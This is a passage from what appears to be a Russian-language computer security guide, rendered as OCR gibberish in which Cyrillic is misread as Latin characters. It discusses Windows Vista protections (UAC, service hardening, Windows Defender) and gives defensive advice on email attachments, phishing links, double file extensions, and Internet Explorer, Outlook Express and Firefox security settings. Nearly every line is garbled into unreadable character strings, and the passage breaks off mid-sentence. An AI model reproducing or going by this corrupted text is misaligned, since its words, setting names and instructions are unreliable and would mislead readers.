pa3psigHOM BapuaHTe Vista HenognucaHHbl gpavBep MOXeT ObITb
YCTaHOBJSIEH C MCMNOSMb30BaHMEM cneumanbHO NpeayCMOTPEHHOro AN 9TUX

Lienen MexaHn3ama ycTaHOBKM CTapbiX ApanBepos.

Windows Service Hardening

CucteMHble cnyx0bl ABNAKTCA TPaguUMOHHOW LEnNbio aTak, MOCKOMbKY
3anyckalotca n paboTtaloT 0OblMHO C agMUMHUCTpPATMBHbIMW NpaBamu. B
Windows Vista aTOT MOMEHT 6blIf1 Y4TEH N OTKOppPEKTUpoBaH — B AaHHon OC
cnyxbbl paboTaloT HE C MakCUManbHbIMK, a C peanbHO HeobxoaMMbIMKU UM
NPUBUNETNSIMU; COOTBETCTBEHHO, YNCIO CryX0, NoCpeaCTBOM SKCnyaTaumm
KOTOPbIX MOXHO HaHecTu Bped CUCTEME, CYLLEeCTBEHHO COKpaTUoCh.
cnonb3yemble CNUCKM KOHTPONS OOCTyna Ans KaXaowm Crykbbl NO3BONSAOT
YyeTKo uaeHTUUUMpoBaTb CnNyXby, nNpedocTaBUTb €W TOMbKO pearnbHO
HeobxoauMble el npaea, a Takke M30NMpoBaTb aTakoBaHHYK Cryxby, ecnu

NnonbITKa ee 3n0HamepeHH0|7| JKCniyatauunn BCce Xe 6yp,eT MMeTb MeCTO.
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KoHmpornb nonb3oeamernibckux yd4emHsbix 3anuced (UAC)

UAC — o0OHO W©n3 OCHOBHbIX HoBoBBedeHun Vista B obnactu
6esonacHocTn. B npeabigywmx Bepcuax Windows Hambornee KOMAOPTHLIM
Anst nonb3oBaTensl BapuaHTOM sBhdnacb pabota C YY4ETHOW 3anucbio
agMUHUCTpaATopa, NOCKOSIbKY Mnofib3oBaTernbCckas ydeTHas 3anucb BBUAY
OrpaHNMYEeHHOCTM nNpaB docTaBnsAna onpegeneHHole HeygobctBa B
BbIMOSTHEHUM HEKOTOPLIX Onepaunin; B TO Xe Bpems pabota C npasamu
agMUHUCTpaTopa 6bina He Ny4ylM BbIXOOOM C TOYKM 3peHns 6e30onacHoCTy,
NMOCKONbKY C NpaBamMu agMUHUCTPaATopa MOrfo ObITb 3anyLeHo BpeAoOHOCHOEe
nporpammHoe obecnedeHne. BegeHne UAC npusBaHO paspewmnTb 3TO
NPOTUBOPEYNE MNOCPEACTBOM pasgeneHna onepaummn B CUCTEME Ha OBe
KaTeropumn: Te, KOTopble Nofb3oBaTeslb MOXET BbINOSHATL CO CTaH4aPTHbIMMU
npaBamuM u Te, KOTopble TPebylT agMMHUCTpPaTMBHLIX npaB. B wutore
nonb3oBartesnb, pabotasa B npodune agMmHucTpaTopa, agMUHUCTPaTOPOM Mo
npaBamMm hakTUYEeCKMU HE ABISIETCHA, PaBHO KakK U BCE MPUITOXKEHUS, KOTOPbIE
paboTalT OT MMEHN ero ydeTHOW 3anucu; npuv 3TOM MNonb3oBaTesflb UMeeT
BO3MOXHOCTb  BbIMONHATL Ty WM MHYKO oOnepaumio C npaBamu
agMuMHUCTpaTopa, BBeAdA MMSA W Mapofib  agMUHUCTPATOPCKOW y4YeTHOM
3anncu, 4To UCKN4YaeT HeobxoaumocTb paboTbl B agMMHUCTPATOPCKOM
npocune ans, Hanpumep, YCTAaHOBKM HOBOW nporpammbl. [lpn aToM ecnu
peyb MOET O CUCTEMHOM npouecce, TO OyaeT NpeanoXxeHo NPOAOITKUTb
BbINOSIHEHWE Orepaunn; ecrnn Xxe pedyb UOeT O CTOPOHHEW nporpamme, TO
nocnegyet npegynpexaneHne o TOM, YTO HEU3BECTHOE MNPUNOXeHne
NbiTaeTcs 3anyCcTUTbCS C NpaBaMn agMUHUCTpaTopa, U ByaeT npennoxeHo
NN OTMEHUTb TakoW 3anyck, Ui JONyCTUTb onepaumio.

NHTepdenc Windows Vista BknovaeT B cebsi psg n3aMeHeHuin, Kotopble
npu3saHbl 0b6rerynTb nonb3oBaTeNnaAM onpefeneHve Tex 3agad, KoTopble
TPpeObYT aAMUHUCTPATUBHLIX MpaB. 3TN U3MEHEHUS NPOSIBAAIOTCA B BUAE

onncaHmAa  3anpawmBaemMbiX AENCTBUN, a Takke B MapKnpoBaH1
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aAMUHUCTPATUBHbLIX OENCTBUA 3HA4YkoM B Buae wwuta. Kpome ToOro, ecnu
nporpamMmma HanucaHa He gna Vista n TpedbyeT aaMMHUCTPATUBHbIX NpaB Ass
KOPPEKTHON paboTbl, Ha €ee 4pnblk Takke O6yaeT [OOPUCOBAH  LUMT,

yKa3blBaloLLMIA, YTO NporpammMa TpebyeT ansi paboTbl NOBbILIEHWSI NPaB.

SawumHuk Windows

3awmnTtHnk Windows (Windows Defender) npusBaH 3awmwatb cuctemy
OT PYTKATOB, KEWNOrrepoB, LUMNMOHOB M APYyroro nogobHOro BpeAoHOCHOro
nporpaMMHOro obecnevyeHns; MO CBOEW CYLWHOCTU 3TOT KOMMOHEHT
OTHOCUTCSl CKOpee K aHTULUMMUOHCKMM, YeM K aHTMBMPYCHbIM peLUeHUsIM,
NMOCKONbKY HecrnocobeH K NpOTMBOAEWCTBUIO Knaccudeckum supycam. Ero
3afjaya COCTOMT B OTCReXmBaHuUM aBTO3arpysku, HacTpoek 6esonacHocTu
cucTeMbl, JornonHeHnn u Hactpoek |E, 3arpy3ok IE (npexae Bcero ActiveX).
Takke oTcnexusaetca pabota cnyxb, [gpanBepoB, BbINOSIHEHME
NPUNOXEHUIN, permcTpauus NPUIoXeHUn Onsa aBTo3arpy3ku, paborta yTunut
onepaumoHHon cuctembl. NMpn oBHapyXeHUM NoAO03pPUTENBbHLIX MOMEHTOB
3awunTtHnk coobwaetr o6 a3ToM nonb3oBaTento. WMmeer COBCTBEHHYIO

oBHoBrsieMyto pa3 B Heaeno 6aay.

B aoTtom cnucke npuBeneHbl OCHOBHble HoBwecTBa Windows Vista,
MMeroLLne HenocpeacTBeHHOE OoTHoweHue K 6esonacHocTn. O4yeBMAHO, YTO
AaHHble cpeacTBa CNOCOBHbLI NPeaoTBpaTUTbL HEKOTOPbIE BUAbI BPEAOHOCHbIX
aTak, HEeCMOTPA Ha HeKOoTopble Hego4yeTbl BO B3auMOAENCTBMM C
nonb3oBartenemMm. OTpageH TOT dakt, 4to Microsoft npeanpuHumaet
co3HaTeNbHble AenctBust no  obecneyeHuo  Hagnexaiwlenm  3awuTbl
onepaumoHHON CUCTEMbI, OAHAKO MEPEYUCIIEHHbIE Bbille TEXHOMOMMU BCe
elwle He no3BOMAT MOMHOCTLIO OTKa3aTbCsA OT YCMyr cneunanmnanpoBaHHbIX

3aLUNTHBIX PELUEHMI U NPOrpaMMHbIX MPOAYKTOB.
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Hacmb 3. PekomeHOauyuu no obecnevyeHuro 6e3onacHocmu

B npeablaywmx pasgenax Mbl pacCMOTPEnU nporpamMmmHblie  Yrpo3bl
MHopMaunoHHon 6e3onacHOCTM, a Takke cpeactBa W npoueaypbl,
npUMeHsieMble ANs NPOTUBOAENCTBUS 3TUM Yyrpo3amM. MoXeT CrnoXuTbCS
Bne4yaTneHne, 4TO, MOCKOMbKY ANS Kaxgoro Tuna pPUCKOB CYLLECTBYHOT
afjekBaTHble UM Mepbl 3aWuTbl, HacTosiee msgaHue MOXHO 6bino 6bl Ha
9TOM  3aBepwuTb, [AobaBMB JNUWb HACTOATENbHbIE  pPeKoMeHgaumm
YCTAHOBUTb T€ UMM UHbIE 3aLUUTHbIE MPOrpaMMHbIE PELLEHUS N HU NPU KaKUX
obcToATENbCTBAX HEe OTKMYaTb MX; OAHAKO NoAdobHble 3akn4vyeHna Obinu
Obl NpexxaeBpeMeHHbI 1 OLLMOOYHDI.

[MpnumMHa cocTouT B criegyloweM: OO TexX Mop, NMoka 3a KOMMbHTEPOM
paboTaeT nofib3oBaTenb, €ro yyactne TpebyeTca npu peweHun nbbix
3aga4y — B TOM uucne u 3agady obecneyeHuss 6e30MacHOCTM  OaHHbIX.
HecmoTps Ha To, 4TO cpeacTBa 3awwmTbl 6epyT Ha cebs 3HaUNTENBHYIO YacTb
paboTbl NO NPeaoTBPALLEHMIO TEX UMM WUHbIX Yrpo3, OHW MO-NPEXHEMY He
moryT co 100% 3ddeKTMBHOCTbIO peanu3oBbiBaTb 0OOPOHY 6e3 nomoLm
nonb3oBaTenst KoMnbtoTepa. Kakon formkHa 6bITb 3Ta NOMOLb, U3M0XKEHO B
AaHHOM pasfene KHUru.

[MpoaKTnBHYIO 3awmTy KOMNbloTEPa 6e3 MCnonb30BaHNA
creunanmsanpoBaHHbIX NPOAYKTOB MOXHO pas3fenuTb Ha Asa Ttuna. lNepsbin
TMN Mbl YCNOBHO HAa30BEM «MNONb30BaTeNbCKOM 3awMUTOW»; Mo I3TUM
TepMuHOM 6ydemM noOHUMMaTb CO3HaTelnbHble [OEeWCTBUA Monb3oBaTens,
HanpaBfieHHble Ha nNpeaoTBpaLleHME 3apaxeHnsa (Hanpumep, He OTKpbIBaTb
Noao3puUTENBHOE BIIOXEHWE B NMUCbMO, Kak Obl MHTEPECHO HM 3BYy4ano ero
Ha3BaHue). Btopon Tun, 9Mp@EKTUBHLIA, HO ManopacnpoCTPaHEHHLIN,
Ha3blBaeTCs «OTKMOYeHMe (yHKUMOHana» 1 NoHMMaeTCsa KaK yaaneHue
WX OTKITIKOYEHWE B HACTPOMKax TeX NMPOorpaMMHbIX KOMMNOHEHTOB U PYHKLINWN,
KOTOpble SABNAKTCA BEKTOpaMuK A51s1 atakn. Komnnekc coBeToB, NpBeAEHHbIX

B HacTosLEeM n3gaHmm, oobeamnHaeT B cebe a1 ABa Tuna.
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AneKkTpoHHas no4yta n UHTepHeT-nenaxepbl

Obuwas 3awuma

1) He cnenyeT oTKpbIBaTb BMIOXEHUS B 3NIEKTPOHHbLIE NMUCbMa, ECNnn

B HUX cogepxaTca ncnonHaemole annsl n ckpuntol (EXE, VBS, JSn 1.4.), 1
3anyckaTb 3TM dannbl. OTnpaBuTenb COOBOLEHMS HE WUMEET 3HaveHus,
NOCKONbKY B criydae mHpekumm BpegoHocHoe O MmoxeT pacchinatb ceba ¢
3apaXkeHHOro KomnbtoTepa OT UMeHW ero Bragenbua. Ecnv Bbl nonyyunu
nogobHoe cooblueHne OT 3HAKOMOro BaM OTMPaBUTENS, C KOTOPbIM Bbl HE
AoroBapuBanmcb O MOSTyYEHUU BIOXEHUSA, HaWaUTe BpeMs MNepecrnpocuTb
ero, 4Yto 3a ann oH oTnNpaBus 1 4YTO B HEM coaepxutca. Nucbma nogobHoro

XapakTepa OT He3HaKOMbIX OTnpaBuUTenen LenecoobpasHo yaansaTb cpasy.

2) He cnepyer nepexoAuTb MO CCbUKaM, MOSyYEHHbIM 4Yepes

3NeKTPoHHY nouTy, ICQ, Nn4yHble coobLleHns Ha dopymax, coumanbHbIX

cetax W T.O4., 0CODeHHO ecnu coobuweHne OTnpaBfieHO HEU3BECTHbLIM

agpecaHtoMm. Ecnu otnpaBuTenb 3HakOM BaMm, TO Takke cnegyet
nepecnpocuTb €ro, YTo 3TO 3a CChifika — Heobxoammo ybeauTbecd, 4TO
coobLlleHne  OoTnpaBneHo  AENCTBUTENbHO MM camMuM, a  He
crneunanmanpoBaHHbiM MO Ons paccbiiok BPeOOHOCHbIX COOBLLEHUN no
CMMCKaM KOHTaKTOB B3ITOMaHHbIX Y4ETHbIX 3anvcen.

Ecnn Bbl nonyumnu nucbmo oT dopyma, OHnanH-6aHka, coumanbHOn
cetTm unn nwboro Apyroro pecypca, rae Bbl 3aperncTpupoBaHbl, C
npeanoXXeHMeM NOCETUTb Ballly YY4ETHYK 3anucb, TO BesonacHee 3anycTuTb
Gpaysep n NepenTn Ha rMaBHy CTPaHULY pecypca, He NOJSib3YysiCb CCbISKOMN.
Ecnn Bbl Bce e nepewnu M0 nMpeasioKEeHHONW ccbinke wn  6binu
nepeagpecoBaHbl Ha CTpaHWUUy C NpPeanioXeHMeM BBECTM UMSI U Naporb,
npegBapuTensHO NpoBepbTe agpec B CTpoke bpaysepa — 4ENCTBUTESBHO NN

970  http://www.mail.ru, wunum Xe  QUWKNHIOBBIN  canWT  Hanogobue

http://www.mail.ru.yahoo.com.
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3) Heob6xoaAuMMO BKINHYUTL OTOOpaXeHWe pacLUMpeHuUn LA Bcex

dannoB, 4tobbl NpPegoTBPaTUTL  UCMOSMb30OBaHME  T.H.  «4BOMHOrO
pacLUMPEHNS», KOTOPOE MOXET MPUMEHATLCS BO BPEOOHOCHbIX BITIOXEHUAX C
uenoto obmaHa nonb3oBatens. [lo ymonuanuio Windows cKpbiBaeT
paclumpeHnsa gannos, Tak YTo BMecTo picture. Jpg otobpaxaeTca NpocTo
picture; COOTBETCTBEHHO, B crnydae, ecnu dann 6yageT HassaH
picture.jpg-vbs n BroxeH B MUCbMO, MOSb30BaTENb YBUOUT TOJSIbKO
picture. jpg U MOXeT OWNBOYHO NPUHATL bann 3a nsobpaxeHue (B TO
BPEMS KaK OH SBISieTCA CKpUNToM Ha a3blke Visual Basic).

BkntoueHne oTobpaxeHnsa pacluMpeHnn Npon3BoANTCA Yepes HaCTPONKK
[MpoBOAHMKA W peadakTop peecTtpa. OTU onepaumm He 3SKBMBANEHTHBbI,

NO3TOMY HEOOXOAMMO BbIMOSTHUTL Kak NEPBYIO, TaK U BTOPYIHO.

HacTtpowku NpoBogHuka:

Mom komnewoTep — Cepruc — CpOMCTBa allky — BKNagka Bum.

CHATb raniovyky CxpelBaThb pacClIMpeHMAa OJ4 3aperMCTPpUMPOBaHHBIX
TUIIOB (QalJIOB .-

Ha Windows Vista aTta onepauna moxeT 6bITb ocywlecTBrneHa vyepes aHenb

ynpaeneHusi.

PepnakTop peecTpa:

llyck — BrmonHuTs — BBeauTe cnoBo regedit — OK. OTtkpoeTcs
peaakTop peectpa.

llpaBka — Hamrtwm — BBeAuTe cnoBo NeverShowExt — Hamrwu npasee.

CnepyeT yoanuTb Kaxabl HangeHHbI napameTp. [na ganbHenWwero noncka
HaxXnmantTe knasuwy F3, noka peectp He CcoobWuT, 4YTO BonblUue Takux

napamMeTpoB / 3HAYEHUI HET.
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OGpaTuTe BHMMaHue: Npu BKIHOYEHHOM OTOOPaXKEHWW paclUMpeHun ans
NpaBUNbHOrO  NEepenMmeHoBaHMst anna He crnegyeT  3aTparveathb

pacLuupeHme.

4) PekomMmeHAyeTcsi MCNONb30BaTb anbTepHaTuBHble |CO-KNUEHTbI

(Hanpumep, Miranda, QIP) ©n noYTOBbLI€ nNporpammbl (Hanpumep,

Thunderbird, The Batl). 3Ta pekomeHgaums cBs3aHa C TeM, u4TO

anbTepHaTUBHbIE KMWEHTbl pexe aTakylTcs B CUNy WX MeHbLuen
pacnpocTpaHeHHOCTM U npegnaratoT Goree BbICOKUIM YPOBEHb cepBuca U

3alMLLEHHOCTMW.

5) PekomeHayeTcsA cHuMaTtTb |ICO-KIIMEHTbl _C aBTOMaTU4YeCKOM

3arpysku, T.e. 3anyckatb WX BpPYYHYl0, @ He aBTOMaTU4YeCKM Npu cTapTe
cuctembl. CywecTByoT onncaHna atak Ha ICQ, ans peanusaumm KOTOPbIX

KNWeHT JosmkeH 6bITb 3anyLleH aBToMaTn4eckn Bo Bpemsi 3arpy3km Windows.

besonacHas Hacmpouka rno4moegoz2o KriueHma

(Ha npumepe Outlook Express)

Cepeuc — llapameTps — BKNagKka Urenue — ybpaTb ranoyky HanpoTus
«ABTOMATUUECKM 3arpyXaTb CcoOOOWeHMAa IIpM OTODpaXeHUM B
ofbJjlacTy IIpocMOoTpPpa», NOCTaBUTb rANIOMKy «UmrTaTb BCEe COOOUWEHMUI B
TEKCTOBOM QopMaTe».

OTW HACTPOKMKM OTBeYaloT 3a 0bnacTb NpeaBapuTenbHOro NpocMoTpa
nMcemMa U 3a otobpaxeHune ero tekcta. OTKMYeHne npenBapuTENbHONo
npocmMoTpa 1 npeobpasoBaHMe NUCEM B TEKCTOBbIN dopmMaTt MNo3BONsSeT
nsbexatb BpeJOHOCHOIro 1Ucnonb3oBaHus oyHkunoHana HTML B nncbmax —
K NpuMepy, CKpbITbIX NnepeHanpasneHun Yyepes IFRAME.

Bknagka BeszonacHoOCTb - NnOCTaBUTb rasyioydKkum HanpoTmB
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«HpenynpemnaTb, €CJIM IMPWIJIOXEHNME TIEITaeTCAd OTIIPaBUTE IIOUTY
oT MOeI'O VIMeHWM», «He pazspenaTbk COXPpaHeHMe WMIIM OTKPEITHE
BJIOXEHMIV, KOTOPBE MOI'YT COIepXaThb BUPYCE» U «BJIOKMPOBATH
n300paxeHre M IOPpyI'O€ BHEIHee COINepXMMOoe B COOOWEeHUM B
bopmaTe HTML».

OTW HACTPOWKM OOMOMHUTENBHO MOBbIWAT 6e3onacHOCTb 06paboTkm
coobuweHnn B dopmaTte HTML, a Takke MOryT npegoTBpaTUTb 3apaXeHue

Yyepes BIIOXEHHbIN dann n oTnpasky nucem 6e3 Ballero Begoma.

CtpaHunubl UHTepHeTa

nOCKOﬂbe none3Hoe uin BpegoHOCHOE coAepXnmoe Be6-CTpaHI/ILI, HE
onpepnendeTcd npocmMaTpuBaroLLnM nx nonb3oBaTersiem, aKTnBHad
nosfib3oBaTtesibCkada 3alnta B AaHHOM Criydae npegnosiaraeTt nullb O6Ll.l,yl-0
pekoMeHgauno He nepexoaunTtb no noao3putTesibHbiM 1N PEeKNnaMHbIM

CCbl/iIkaM, OnnMcaHHyro Bbllle, a TaKXKe ToXeJjflaHne unenojb30BaTb

anbTepHaTuBHbIe Opay3epbl (Firefox wnn Opera), KoTopble MeHee

noaBepXXeHbl atakam M cnocobHbl obecneymBaTb Bonee BbLICOKMA YPOBEHb
obcnyXuBaHua M 3almEeHHOCTU. [1o3aToMy OCHOBHOW POPMOWN 3aliuTbl OT
BPEOOHOCHOIO  cogepXumMoro B  WHTepHeTe sABNSieTCA  OTKIIOYEHMue
dyHKUMOHana.

Npeonorns  6esonacHon  HacTpoukm  obospeBatens MHTepHeTa
3akn4yaeTcsa B ToM, YTobbl NO YMOMYaHUIO He paspellaTb BCEM CTpaHuuam
Mcnonb3oBaTb MOTEHUMANbHO OMNacHbIM  (PyHKUMOHAN W JonyckaTb ero
NPUMEHEHNE TONbKO TEMU CTpaHMLAMU, KOTOPbIM Bbl MOTHOCTBIO JOBEpPSETE.
OTOT MeToA HasblBaeTca Mmemodom b6esioeo criucka n B YCroBUAX NOCTOSAHHO
pacTywero KosimyectBa OObIYHbIX M BPEAOHOCHBIX PECYpCcoB akTUYeCKM
AIBNSETCA €QUHCTBEHHBIM CPEACTBOM, KOTOPOE rapaHTUPYET, YTO gaxe ecnu
Bbl rnornagete Ha HEe3HAaKOMyK BPEAOHOCHYH UM UHAULMPOBAHHYHO

CTpaHuLly, 3apa)keHust He Npou3onaeT.
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OddeKTMBHOCTL Benoro cnucka npu CpaBHEHUM C YEPHbIM HarnsaHo
BUOHaA MpW pacCcMOTpeHuu criegyrowero npumepa. [lo cocTtoaHuio Ha
15.12.2008 r. aHTMBUpPYCHble 6a3bl Kaspersky Internet Security cogepxanm
3anmcn o 12162 UWKMHIOBBLIX UM BPEOdOHOCHbIX pecypcax WHTepHeTa.
CooTBeTCTBEHHO, MOMb30OBaTefNb, XeNnaBWW Cco34aTb YEepHbIN  CMUCOK
CTpaHWL, KOTOPbIM HEOBXOAMMO 3anpeTuTb onacHbli OYHKLUWOHAM, AOSKEH
Obin Obl co3gaTb 3anucum o0 Oonee 4yeMm ABeHaauaTU ThicsYax CaMToOB B
orpaHM4yeHHOM 30He cBoero ©Opaysepa, a BMOCNEACTBMM MOCTOSAHHO
0BHOBNATL MX CnNUCOK. B cBO o4vepenb, Nonb3oBaTento, NPUMEHSIOLLEMY
meTtoq 6enoro cnucka, TpebyeTcs co3daTb NUWb HECKOSbKO OECATKOB
3anMcen — B 3aBUCMMOCTU OT KONMUYECTBa peErynspHoO nocellaemMbix
AOBEPEHHbIX CTpPaHUL, - B TO BPeMS Kak OH OyoeT NpOaKkTUBHO 3alUULLEH He
TONbLKO OT YNOMAHYTLIX 12162 onacHbIX CanToB, HO U OTO BCEX TeX, KOTOpble

ByayT noaABNATbLCA B AanbHenwem, nocne 15 gekabpsa 2008 roaa.

Cnenyetr 3amMeTuTb: [MOTEHUMASNIbHO ONacHble TexXHONormm (CKpUNThI,
ActiveX, IFRAME) wucnonb3yloTca B JIETUTUMHBLIX LENnsX Ha MHOrmx
COBPEMEHHbIX CTpaHuuax, obecrneynmBas pacwmpeHne dqyHKUMOHana.
CoOoTBETCTBEHHO, MNPU  OTKMAKYEHUM  MOALEPXKKM  OTUX  TEXHONOrum
pacLluMpeHHbIN yHKUMOoHan byaeTt noTepsiH, YTO MOXET co3gaTtb HeyaobcTea
B paboTe C HekoTOpbiMM canTamn. [Ons BOCCTAHOBIIEHUSI MOSIHOW
dYHKLUMOHANMBLHOCTU CTPaHWULbl HA BPEMEHHOW UMW MOCTOSSHHOW OCHOBE Bbl

MOXeTe NPMMEHUTb Benbii CIMCOK, HO 3M10yNOTPEBNATL UM HEeXenaTerbHO.

be3onacHasi Hacmpouka obo3pesamers:Internet Explorer

Hwke npuBeaeHbl OCHOBHbIE HACTPOWKKM 6e3omacHOCTM Ans CanuToB, He
BHECEHHbLIX B B6€enble U YepHbIE CMUCKN — MHbIMU CFlOBaMU, PEKOMEHAYEMbIE
HaCTPOWKKM NO yMon4daHuio. PekomeHgaumm npuMeHnMbl Kak ans LWecToun, Tak

n ana cegbmon Bepcum Internet Explorer.
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Otkponte Internet Explorer, Bbibepute MeHW0O Cepsrc — CroMCTBa
obo3peBaTEIA -

Bknagka BesonacHoCTs.

Bbligenute 30Hy ViuTepueT N HAXMUTE KHOMKY JlpyToit BO3Me LWKanbl YPOBHSA

©e3onacHoCTw.

3arpyska

ABTOMaTmyeckne sanpocbl: OTKNIOYUTL (€CrM Bbl UCMOSMb3yeTe MeHemxep
3aKayeKk, a He cKadmBaeTe (pannbl CTaHOapTHbIMW cpeacTBamu Internet
Explorer; B npOTMBHOM Ccfny4Yae OCTaBUTb HACTPOWKY 6e3 M3MEHEeHWNI)
3arpy3ka canna: OTKI4YNTL (ecrnv Bbl UCMOSMb3yeTe MeHeKep 3akadek, a
He CcKadmBaeTe (paunbl CTaHOapTHbIMKM cpegcTBamu Internet Explorer; B
NPOTUBHOM CIlydae OCTaBUTb HACTPOWNKY Be3 nameHeHuin)

3arpyska wpudTta: Paspelunts

NET Framework

3anyck KOMMOHEHTOB, He CHabXXeHHbIX cepTudmnkaTom: 3anpawmneaTb

3anyck KOMMOHEHTOB, CHabXXeHHbIX cepTudumkaTom: PaspelunTs

NMpoBepka NnoANMMHHOCTHU

Bxopa: 3anpoc nmeHn noneb3oBaTtens n napons

Pa3Hoe

BrnokupoBaTb BennbiBatoLwwme okHa: OTKIYNUTb

Beb-yanbl n3 30H NHTepHeTa...: Npeanaratb

[ocTyn K UCTOYHMKaM AaHHbIX: OTKIIHYUTb

3anyck B okHe IFRAME: OTknounTb

He 3anpawmBaTb cepTudukat KnmeHTa...: OTKNYnTb

OTKpblBaTb (hanrbl HA OCHOBE COAEPXMMOro: PaspelunTs

OTobpaxeHne pasHoOpoaHOro cogepxmmoro: MNpeanaraTb

[MNepepaya He3awmndpoBaHHbIX AaHHbIX popmM: Paspelumnts

[MepeTacknBaHue nnu konnposaHue: PaspelunTs

Mepexoa mMexay kagpamun Yyepes pasHble JoMeHbl: OTKMHYUTL
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Paspelwiatb BebG-cTpaHuuam ncnonb3oeats...: [pegnarats
Paspeluatb 3anyLleHHbIe CLEHapPUeEM OKHa...: OTKNIUYNTb
PaspelueHuns kaHana MO: CpegHuin yposeHb 6e30nacHOCTH
PaspewnTtb MeTaobHoBneHne: PaspelunTs

Paspeluntb cueHapum Anga anemeHTa ynpaBneHus. ... OTKIYNTb
YcTaHoBKa anemMmeHToB paboyero ctona: lNpeanaratb
YCTOMYMBOCTb AaHHbIX Nonb3oBaTens: Paspents

CueHapum

AKTUBHbIE cueHapun: OTKNIYNUTb

BbINONHATL cueHapun npunoxeHun Java: OTKIIHOYUTb

Paspeluntb onepauumn BCTaBku M3 cueHapus: OTKNIUYNTb
AnemMeHTbl ActiveX n Mmoaynu noakrovYeHus

ABTOMaTU4YECKME 3anpOoChl ANIEMEHTOB yrnpaBneHnsa: OTKNIYUTb
BbINONHATL cLueHapun, NoOMeYeHHble kak 6esonacHsle: NpegnaraTtb
3arpy3ka HenoanucaHHbIX aneMeHToB: OTKIHYNTb

3arpyska nognmcaHHbIx aremMeHToB: Npeanaratb

3anyck aneMeHToB 1 Moayneun nogknodeHuns: OTKIYNTb
cnonb3oBaHWe 31eMEHTOB, HE MOMEYEHHbIX Kak 6e3onacHble: OTKIYNTb

MoBeneHne ABOMYHOIO KOAO0B U cleHapues: OTKHYNTb

Haxxmunte OK. YpoBeHb 6e30MacHOCTM Ansi HEM3BECTHLIX Y3510B ONpedeneH.

HacTpolikn Tpex oCcTaBLUMXCS 30H HE HyXKAalTcsl B MoamduKkaLmm.

[Ana cosgaHua crnvcka [OOBEPEHHbIX CaMTOB HaXMUTE KHOMKY Yanbl B
CBOMCTBax 30Hbl HagexHble y3nbl.
Ana co3gaHunsa crnvcka HeOoOBEepPEeHHbIX CaMTOB HaXMWUTE KHOMKY Y3nbl B

CBOWCTBAX 30Hbl Ol'paHI/I‘—IeHHbIe y3-5bl.
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HacTtponka Cookies

TekctoBble annbl  Cookies nNpuMeHaTCAa  Ons coxXpaHeHus
WHopMaunKn,  KOTOPYK  pecypcbl  WMHTepHeTa  MCNoONb3ywT 4N
naeHTuduKauum nonb3oBaTtens M coxpaHeHust cBeaeHun o Hem. Cookies
MOryT ynotpebnaTbcs Kak ons nermTUMHbIX uenen (3anoMuHaHne HacTpOeK,
npeanoYTeHn nonb3oBaTend, ayTeHTUduKkaumna Ha dopymax v T.M.), Tak u
Ans HexenaTenbHOW akTUBHOCTU (K NpuMepy, B 3aBUCUMOCTU OT OTCYTCTBUSA
WM HannuMs Yy nonb3oBaTena annoB  cookie, ycTaHOBMNEHHbIX
onpefeneHHbIM CanToM, CKPUNTbI HA APYromM cante MOryT UrHOpupoBaTb ero
nnu otobpaxaTtb eMy pekrnamMmHble MaTepuarnbl OnNpeaeneHHOro cogepXxaHns).

Mpn pabote c cookies Takke addekTMBeH MeTon 0Oenoro cnucka.
Otkponte Internet Explorer, Bbibepute MeHW Cepsuc — CBoOMCTBa
obozpeBaTesid, BKNnagka KonpnneHLaslbsHOCTE, NepeaBUHbTE NOM3YyHOK B
NnonoXxeHne BriokrposaTh Bce CoOKie. B TakoM MOSIOXXEHUM MOn3yHKa
yCTaHOBKa W 4TeHue cookies OygeT paspelleHa TOMNbKO pecypcam,

3anuncaHHbIM B 30HY «HagexHble y3nbi».

OTkntoyeHne HaacTpoek Internet Explorer

Bbllwe Mbl roBopunn 0 TOM, YTO HaacTponkn Bpaysepa (Browser Helper
Objects, naHenn) moryT O6blTb WCMNOMb30BaHbl AN HEXenaTenbHOou
aKTUBHOCTW. B cBs3M C 9TMM HEoBXo4MMO CBECTU K MUHUMYMY KOSIMYECTBO
aKTUBHbIX HaOCTPOEK W BpeMsi OT BPEMEHM MNPOBEPATb WX Ha npeamer
NOSABNEHNS HOBbIX.

Otkponte Internet Explorer, Bbibepute MeHO Cepsuc — CroMcTBa
obozperaTesd, BKNagka lporpamMel. HaXMUTE KHONKY HancTpomkmu.

B Bbinagarowem cnucke Bbl6epI/ITe HanmcTporky, 3arpyXeHHBE B
Internet Explorer. B nonydyeHHOM OkHe ByayT nepevncrneHbl HagCTPONKK

Gpayasepa.
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B uenom pekomeHOyeTCcs OTKMIOYUTbL BCE HALCTPOWKW; OOMYCTUMO He
3aTtparmBaTb KOMMOHEHTbl 3aWMTHOrO nporpaMMHOro obecneyeHnsa (K
npumepy, HaacTponka Beb-AHmMusupyc HEKOTOPbLIX NpoaykToB JlabopaTopum
Kacnepckoro). O6patute BHMMaHuEe, 4YTO (PYHKUMOHANbHOCTb HEKOTOPbIX
NpPOrpamMMHbIX MPOAYKTOB (MEHEeMKEPOB 3akayek WM T.M.) npy 3TOM MOXET

HapyLlaTbCsi.

GesonacHas Hacmpotka obospesamersis:Mozilla Firefox

YnpaBneHne noTeHuuanbHO onacHbiM cogepxumbiM B Mozilla Firefox
MOXeT  ocywiecTBnsaTbCAa  NMBO  NOCpPeacTBOM — HACTPOEK  camoro
obospeBarens, nNM60 C MNOMOLLBIO Crneunann3MpoBaHHbIX AOMNOSHEHWN
(nnazuHoe, unn adl0oHOs).

OTKNnOYeHue CKpUnToB B HacTponkax Firefox moxeT ObiTb BbIMONHEHO

cnegyrowmm obpasom.

3anyctute 6paysep, oTkponTe Tools (Mucrpymenter) — Options
(Hacrpomku), NYHKT MeH Content (Comepxumoe). CHUMUTE ranoyku
Enable Java (Mcnoswszosare Java) wun Enable JavaScript

(McnombszoBaTs JavaScript).

HononHeHne kK Firefox, nossonswowee 3PEPEKTUBHO ynpasBnaTb
paspeLleHnsaIMn Ha BbINOSIHEHWE TeX WU WHbIX CKPUMNTOB, Ha3blBaeTCs
NoScript.

BaxxHo ocobeHHoCTbo NOScript aBnseTcss BO3MOXHOCTb pasfeneHus
CKPMMTOB MO JOMEHaM U (PYHKUMS BPEMEHHOIO paspeLleHnst UX UCMOSTHEHWS;
NOACHMM Ha NpuUMepe, B YEM COCTOUT €€ LLeHHOCTb.

HonyctnMm, cywecTtByeT cTpaHuua http://www.site.com/reg.htm, B

KOTOpytO  BHedpeHbl OBa  ckpunta:  http://www.site.com/scripts/1.js,
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NOAAEPXKUBAOLWINA  UHTEPAKTUBHYIO  perucTpaumio  nonb3oBaTenen, U

http://www.anothersite.com/scripts/counter.|s, ABNSAOLLNACS CKpUNTOM-

